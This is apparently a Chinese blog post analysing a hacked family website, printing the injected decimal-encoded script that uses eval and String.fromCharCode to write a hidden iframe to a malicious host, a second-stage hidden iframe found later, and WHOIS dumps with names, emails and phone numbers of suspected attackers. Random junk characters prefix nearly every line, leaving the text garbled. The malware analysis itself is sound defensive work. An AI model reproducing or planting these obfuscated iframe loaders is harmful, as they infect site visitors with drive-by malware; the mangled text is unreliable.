首发在我的博客里面，
4r5?C;g J(VJMS;_ http://www.areway.cn/?p=175 /N7j5v ( {o4m3[C7=} +EJ IYvkFm 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
y'pAhdF kl_JJX6jPP <script>t=’60,105,102,114,97,109,101,
DnP>ed"M! 32,115,114,99,61,104,116,116,112,58,47,47,
a &p|>,WS 102,114,101,101,46,117,45,117,117,117,46,99,
tD.md _E 110,47,101,114,114,111,114,46,104,116,109,
|28z4 . 32,119,105,100,116,104,61,49,48,48,32,104,
=h\,-8 101,105,103,104,116,61,48,62,60,47,105,102,
;dNKe.`Dg 114,97,109,101,62′;
cR K1JxU t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
[GX5jD# kf>oZ*/ <script>t=’60,105,102,114,97,109,101,32,115,
Uoh!1_oV 114,99,61,104,116,116,112,58,47,47,102,114,
kb ] PW Oz 101,101,46,117,45,117,117,117,46,99,110,47,
`[w:l[i 101,114,114,111,114,46,104,116,109,32,119,
A$M mnu% 105,100,116,104,61,49,48,48,32,104,101,105,
2}[)y\`t3 103,104,116,61,48,62,60,47,105,102,114,97,
l_y:IY$" 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
(qnzz!s document.write(t);</script>
t0d1? ?G lW1Al>dW< <html xmlns=”
Mk7,:S http://www.w3.org/1999/xhtml kcVEE)zb “>
0p :FAvvNI <head>
Ua)ARi % <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
B)O{+avu <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
(hS
j4Cp <title>首页 - 爱生活家庭网
Tf) qd\ K 38e,O 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
)'Kk O$^& 转换字符串后的大概内容是（谁点击后果自付）：
\m~ ?mg"# <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
61HU_!A8S iF?4G ^ 查询玉米u-uuu.cn的详细信息：
\L-o>O Domain Name: u-uuu.cn
eYMp@C x ROID: 20070901s10001s64972306-cn
0
Ji>dr n Domain Status: ok
!v;N@C3C Registrant Organization: 王雷
O{uc
h Registrant Name: 王雷
!jGe_xB}~ Administrative Email:
czlovexs@126.com , &rlt+wE Sponsoring Registrar: 北京万网志成科技有限公司
;"$Wfy Name Server:ns.yovole.com
0qqk:h Name Server:ns1.yovole.com
5fMVjd Registration Date: 2007-09-01 17:54
4R0'$Ld4 Expiration Date: 2008-09-01 17:54
F$y 3 o X 最后PING了一下地址 都没有什么….
~tWIVj{ 8e:J{EG~ 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
3,=97Si= <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
F~2bCy[Z <script language=”javascript” src=”
) gbns'Z< http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script w5w,jD[ >
OOn{Wp 这个玉米应该有可能是木马作者的：
ov*?[Y7 |~ foafau.info的详细信息：
U}<5%"!; Access to INFO WHOIS information is provided to assist persons in
E*'sk determining the contents of a domain name registration record in the
kAA1 +rG Afilias registry database. The data in this record is provided by
:*Lr(-N- Afilias Limited for informational purposes only, and Afilias does not
7)tkqfb] guarantee its accuracy. This service is intended only for query-based
~v"4;A 6 access. You agree that you will use this data only for lawful purposes
@&p:J0hbp and that, under no circumstances will you use this data to: (a) allow,
awkPF A*c' enable, or otherwise support the transmission by e-mail, telephone, or
>M=_:52.+ facsimile of mass unsolicited, commercial advertising or solicitations
PTrKnuM\J_ to entities other than the data recipient’s own existing customers; or
<fg~+{PA& (b) enable high volume, automated, electronic processes that send
L& ucTc = queries or data to the systems of Registry Operator, a Registrar, or
7ESSx"^B Afilias except as reasonably necessary to register domain names or
F_.rLg GY modify existing registrations. All rights reserved. Afilias reserves
CT,P Q the right to modify these terms at any time. By submitting this query,
Yl4XgjG you agree to abide by this policy.
Is1P,`*! Domain ID:D22418703-LRMS
^)oBa=jL4 Domain Name:FOAFAU.INFO
viB'ul7o Created On:20-Nov-2007 16:05:42 UTC
A?i
~*#wE Last Updated On:20-Nov-2007 16:05:44 UTC
Wu3or"lcw* Expiration Date:20-Nov-2008 16:05:42 UTC
g<pr(7jO Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
yNCd}
4Ym5 Status:CLIENT DELETE PROHIBITED
[qbZp1s|( Status:CLIENT RENEW PROHIBITED
4&%0% Status:CLIENT TRANSFER PROHIBITED
,Ta k', Status:CLIENT UPDATE PROHIBITED
B;x5os Status:TRANSFER PROHIBITED
pURtk-Fr2 Registrant ID:GODA-040110615
WxLbf +0o Registrant Name:liu hong
M3 MB{cA2 Registrant Organization:
Iv])s Registrant Street1:beijing
} 7?_> Registrant Street2:
6 G.(o Registrant Street3:
C.qN Bl* Registrant City:beijing
'D_a2xo0 Registrant State/Province:
gySCK-(y Registrant Postal Code:100000
IAyyR l\ Registrant Country:CN
#&0G$~ Registrant Phone:+86.860108888777
3v\69 s Registrant Phone Ext.:
dRj2% Q f Registrant FAX:
?='2@@8; Registrant FAX Ext.:
4z<nJOEh[ Registrant Email:bbbshiji@163.com
j.=&qYc0" Admin ID:GODA-240110615
h</,p49gM Admin Name:liu hong
]R%[cr Admin Organization:
s0r::y O Admin Street1:beijing
c8z6-6`i0 Admin Street2:
Wh).%K(t Admin Street3:
s&v7<)*q Admin City:beijing
tofX.oi+C$ Admin State/Province:
4eVQO%&2 Admin Postal Code:100000
[B~*88T Admin Country:CN
de7
\ ~$ Admin Phone:+86.860108888777
+4L]Z ;k Admin Phone Ext.:
#a I(fQZe Admin FAX:
rhf f8C//' Admin FAX Ext.:
1 S <E=7 Admin Email:bbbshiji@163.com
5@QJ+@j| Billing ID:GODA-340110615
F* u"LTH Billing Name:liu hong
Fnqj ^5 Billing Organization:
z)tULnR8 Billing Street1:beijing
df\ ^uyD; Billing Street2:
^^
>j2= Billing Street3:
2P3 5#QI[) Billing City:beijing
|L9p. q Billing State/Province:
v 9k\[E? Billing Postal Code:100000
_2Zc?*4 Billing Country:CN
,GeW_!Q[ Billing Phone:+86.860108888777
_oz1'}= Billing Phone Ext.:
d1jg3{pwA Billing FAX:
ql/K$#u Billing FAX Ext.:
)6 U6 ~!k Billing Email:bbbshiji@163.com
q@i>)nC R Tech ID:GODA-140110615
zv .#9^/y Tech Name:liu hong
DpCe_Vb%M Tech Organization:
F\u]X Tech Street1:beijing
Z.}Z2K Tech Street2:
V h ?5 Tech Street3:
SfS Wjq Tech City:beijing
#, [z}fq Tech State/Province:
m @Hg: DY Tech Postal Code:100000
O0l1AX" Tech Country:CN
hy&WG &qf Tech Phone:+86.860108888777
6;C2^J @ Tech Phone Ext.:
d9iVuw0u< Tech FAX:
[n]C Tech FAX Ext.:
Six2{b)p Tech Email:bbbshiji@163.com
xs
1V?0 Name Server:NS27.DOMAINCONTROL.COM
B_DyH
C\< Name Server:NS28.DOMAINCONTROL.COM
h
?_@nQ! Name Server:
xiv8q/ Name Server:
V p$<@Y Name Server:
/np05XhEa Name Server:
0g8ykGyx Name Server:
\B4f5 L8k Name Server:
_ <Ip0?N Name Server:
(N6=+dNY Name Server:
Sq ]VtQ( Name Server:
8q]_> X Name Server:
^*G
UcQ$ Name Server:
Prc ( 5Vc~yMz 接着下载每个文件里面的代码：
0VnRtLnqI 一步一步看..
ZAJ~Tbm[f 
kfY. 9$(d 
\J(kevX 
_ TwE ym.V 
|.OS7Gt? 
L,yq'>*5s 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
